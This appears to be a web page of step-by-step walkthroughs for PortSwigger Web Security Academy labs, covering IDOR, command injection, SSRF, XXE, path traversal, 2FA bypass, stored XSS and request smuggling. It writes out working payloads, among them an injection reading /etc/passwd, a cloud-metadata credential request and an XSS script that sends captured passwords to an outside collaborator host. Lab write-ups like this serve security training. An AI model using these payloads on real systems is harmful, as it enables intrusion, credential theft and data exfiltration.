PortSwigger Labs

PortSwigger Labs

PortSwigger Labs

Insecure direct object references IDOR

1: Register your account on PortSwigger.

Website: https://portswigger.net/users/register

2: Open the Lab: Insecure direct object references.

Website: https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references

3: Access the LAB.

Lab Insecure direct object references IDOR 1

4: Select the Live chat tab.

Lab Insecure direct object references IDOR 2

5: Open the Burp Suite.

6: On the Intercept.

7: Second, a message, and then select View transcript.

Lab Insecure direct object references IDOR 3

8: Refresh the Live Chat page.

Shortcut key: f5

9: View the transcript.

10: Send to the Repeater.

Shortcutkey: ctrl + r

Lab Insecure direct object references IDOR 4

11: Send the data.

Lab Insecure direct object references IDOR 5

12: Follow the redirection.

Lab Insecure direct object references IDOR 6

13: Change the Parameter and find the password.

Note: Remove the 3.txt and add the 1.txt.

Lab Insecure direct object references IDOR 7

14: The password is?

Password: hl86m5x4uyvuai88ox6p

15: Off the Intercept.

16: Log in to the account.

17: The Username and Password?

Lab Insecure direct object references IDOR 8

Username: carlos

Password: hl86m5x4uyvuai88ox6p

18: The LAB has been completed.

Lab Insecure direct object references IDOR 9

Excessive trust in client-side controls

1: Access the Lab: Excessive trust in client-side controls.

Website: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls

Excessive trust in client-side controls 1

2: Log in to the account.

Excessive trust in client-side controls 2

3: The Username and Password?

Username: wiener

Password: peter

Excessive trust in client-side controls 3

4: Open the Burp Suite and On the Intercept.

5: Buy the Lightweight “l33t” Leather Jacket.

Excessive trust in client-side controls 4

6: Add to the cart product.

Excessive trust in client-side controls 5

7: Send to the Repeater.

Shortcut: ctrl + r

Excessive trust in client-side controls 6

8: Off the Intercept.

Excessive trust in client-side controls 7

10: Go to the Add to card and check the Lightweight “l33t” Leather Jacket price.

Excessive trust in client-side controls 8

11: The Lightweight “l33t” Leather Jacket price is $1227.00.

12: Reduce the Lightweight “l33t” Leather Jacket price in the Burp Suite and send the response.

Excessive trust in client-side controls 9

13: Refresh the Add to card page.

Shortcut key: f5

14: The price of the Lightweight “l33t” Leather Jacket has been reduced.

15: Place the order.

16: The order has been placed.

17: LAB has been completed.

Excessive trust in client-side controls 11

Unprotected admin functionality with unpredictable URL

1: Access the Lab: Unprotected admin functionality with unpredictable URL.

Website: https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url

Unprotected admin functionality with unpredictable URL 1

2: Open the View page source.

Shortcut key: Ctrl + U

Unprotected admin functionality with unpredictable URL 2

3: Search for the admin in the View page source code.

Shortcut key: Ctrl + F

Unprotected admin functionality with unpredictable URL 3

4: Go to the My account.

5: Access the Admin Panel.

Unprotected admin functionality with unpredictable URL 4

6: Delete the carlos user.

Unprotected admin functionality with unpredictable URL 5

7: The LAB has been solved.

Unprotected admin functionality with unpredictable URL 6

OS command injection simple case

1: Access the LAB.

Website: https://portswigger.net/web-security/os-command-injection/lab-simple

OS command injection simple case 1

2: Open the Burp Suite and on the Intercept.

3: Open the Product.

OS command injection simple case 2

4: Check the Stock.

OS command injection simple case 3

5: Go to the Proxy and then open the HTTP history and check the POST method of the product stock.

OS command injection simple case 4

6: Send to the Repeater.

Shortcut key: Ctrl + R

OS command injection simple case 5

7: Modify the storeID parameter, giving it the value 1|whoami.

Example: productId=1&storeId=1|whoami

OS command injection simple case 6

8: Off the intercept and refresh the page.

9: The LAB is completed.

OS command injection simple case 7

Basic SSRF against the local server

1: Access the Lab.

Website: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

Basic SSRF against the local server 1

2: Open the Burp Suite.

3: Open the product.

Basic SSRF against the local server 2

4: Check the product stock.

Basic SSRF against the local server 3

5: Check the Post request in the Burp Suite and check the stockApi.

Basic SSRF against the local server 4

6: Send the stockApi key to the Repeater.

Shortcut key: Ctrl + R

Basic SSRF against the local server 5

7: Remove the stockApi and Access the localhost admin panel.

Basic SSRF against the local server 6

8: Delete the carlos user.

Basic SSRF against the local server 8

9: Send the request.

Basic SSRF against the local server 9

10: The lab has been completed.

Stored XSS into HTML context with nothing encoded

1: Access the Lab.

Website: https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded

Lab Stored XSS into HTML context with nothing encoded 1

2: Open the post.

Lab Stored XSS into HTML context with nothing encoded 2

3: Enter the following payload in the comment box.

Payload: <script>alert(1)</script>

4: Enter a name, email, and website.

5: Click “Post comment”.

Lab Stored XSS into HTML context with nothing encoded 3

6: The Lab has been completed.

Lab Stored XSS into HTML context with nothing encoded 4

2FA simple bypass

1: Access the Lab.

Website: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

Lab 2FA simple bypass 1

2: Go to My account.

Lab 2FA simple bypass 2

3: Log in to the account.

Username: wiener

Password: peter

Lab 2FA simple bypass 3

4: Check the Email client.

Lab 2FA simple bypass 4

5: Find the security code.

Lab 2FA simple bypass 5

6: Log in to the account.

Lab 2FA simple bypass 6

7: Copy the my-account parameters.

Parameters: my-account

Lab 2FA simple bypass 7

8: Log out of the current account.

9: Go to the My account.

10: Log in to the second account.

Username: carlos

Password: montoya

Lab 2FA simple bypass 8

11: How to bypass two-factor authentication?

Lab 2FA simple bypass 9

12: Use the /my-account parameters and bypass the two-factor authentication.

Note: Remove the login2 and paste the /my-account

Lab 2FA simple bypass 10

11: The Lab has been completed.

Lab 2FA simple bypass 11

Exploiting XXE using external entities to retrieve files

1: Access the Lab.

Website: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Lab Exploiting XXE using external entities to retrieve files 1

2: Open the Burp Suite.

3: Select the product.

Lab Exploiting XXE using external entities to retrieve files 2

4: Select the Check stock.

Lab Exploiting XXE using external entities to retrieve files 3

5: Send the request to the Repeater.

Shortcut key: Ctrl + R

Lab Exploiting XXE using external entities to retrieve files 4

6: Send the request.

7: This is the XXE vulnerability.

Lab Exploiting XXE using external entities to retrieve files 5

8: Insert the XXE payload in the XXE vulnerable code.

XXE Payload: <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>

9: Send the request.

Lab Exploiting XXE using external entities to retrieve files 6

10: Replace the product ID.

Product ID: &xxe;

11: Send the Request.

Lab Exploiting XXE using external entities to retrieve files 7

12: The Lab has been completed.

Lab Exploiting XXE using external entities to retrieve files 8

Exploiting XXE to perform SSRF attacks

1: Access the Lab.

Website: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf

Lab Exploiting XXE to perform SSRF attacks 1

2: Open the Burp Suite.

3: Select the product.

Lab Exploiting XXE to perform SSRF attacks 2

4: Check the stock units.

Lab Exploiting XXE to perform SSRF attacks 3

5: Send the request to the Repeater.

Shortcut key: Ctrl + R

Lab Exploiting XXE to perform SSRF attacks 4

6: Send the request.

Lab Exploiting XXE to perform SSRF attacks 5

7: Insert the following XXE payload.

Payload: <!DOCTYPE test [ <!ENTITY xxe SYSTEM “http://169.254.169.254/”> ]>

Lab Exploiting XXE to perform SSRF attacks 6

8: Replace the product ID.

Product ID: &xxe;

9: The response should contain “Invalid product ID:” followed by the response from the metadata endpoint, which will initially be a folder name.

Lab Exploiting XXE to perform SSRF attacks 7

10: Update the URL in the DTD to explore the API until you reach.

URL: /latest/meta-data/iam/security-credentials/admin

Complete URL: <!DOCTYPE test [ <!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin”> ]>

11: This should return JSON containing the SecretAccessKey.

Lab Exploiting XXE to perform SSRF attacks 8

12: The Lab has been completed.

Lab Exploiting XXE to perform SSRF attacks 9

File path traversal simple case

1: Access the Lab.

Website: https://portswigger.net/web-security/file-path-traversal/lab-simple

File path traversal simple case 1

2: Open the product.

File path traversal simple case 2

3: Inspect the page.

File path traversal simple case 3

4: Open the post.

5: Go to the Network and Reload the page.

6: Open the Image.

File path traversal simple case 4

7: Modify the filename parameter.

From: https://0afa00ee04ce470ecfc3a358003d0026.web-security-academy.net/image?filename=45.jpg

To: https://0afa00ee04ce470ecfc3a358003d0026.web-security-academy.net/image?filename=../../../etc/passwd

File path traversal simple case 5

8: The Lab has been completed.

File path traversal simple case 6

Exploiting cross-site scripting to capture passwords

1: Access the lab.

Website: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords

Exploiting cross-site scripting to capture passwords 1

2: Open the Burp Suite Professional.

3: Open the post.

Exploiting cross-site scripting to capture passwords 2

4: Go to the Collaborator tab in the Burp Suite Professional.

5: Copy the code from the copy to clipboard.

Code example: 7u2n0ffvckyj6w0sa6fnktdpzg5htbh0.oastify.com

Exploiting cross-site scripting to capture passwords 3

6: Paste the payload in the post comment.

Payload: <input name=username id=username>

<input type=password name=password onchange=”if(this.value.length)fetch(‘https://cq6swkb08puo21wx6bbsgy9uvl1mpfd4.oastify.com’,{

method:’POST’,

mode: ‘no-cors’,

body:username.value+’:’+this.value

});”>

Exploiting cross-site scripting to capture passwords 4

7: Take the captured Username and Password.

Username: administrator

Password: rlaj7751lft9s7zeh3fl

Exploiting cross-site scripting to capture passwords 5

8: Go to the My account.

Exploiting cross-site scripting to capture passwords 6

9: Log in to the account.

Exploiting cross-site scripting to capture passwords 7

10: The lab has been completed.

Exploiting cross-site scripting to capture passwords 8

HTTP request smuggling, basic CL.TE vulnerability

1: Open the Burp Suite.

2: Access the Lab HTTP request smuggling, basic CL.TE vulnerability.

Website: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

HTTP request smuggling, basic CL.TE vulnerability 1

2: Send a request to the Repeater.

Shortcut: Ctrl + R

HTTP request smuggling, basic CL.TE vulnerability 2

3: Remove the parameters.

HTTP request smuggling, basic CL.TE vulnerability 3

4: Change the Parameters.

HTTP request smuggling, basic CL.TE vulnerability 4

5: Send the request three times.

6:  Your lab has been completed.

HTTP request smuggling, basic CL.TE vulnerability 5

Burp Suite

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top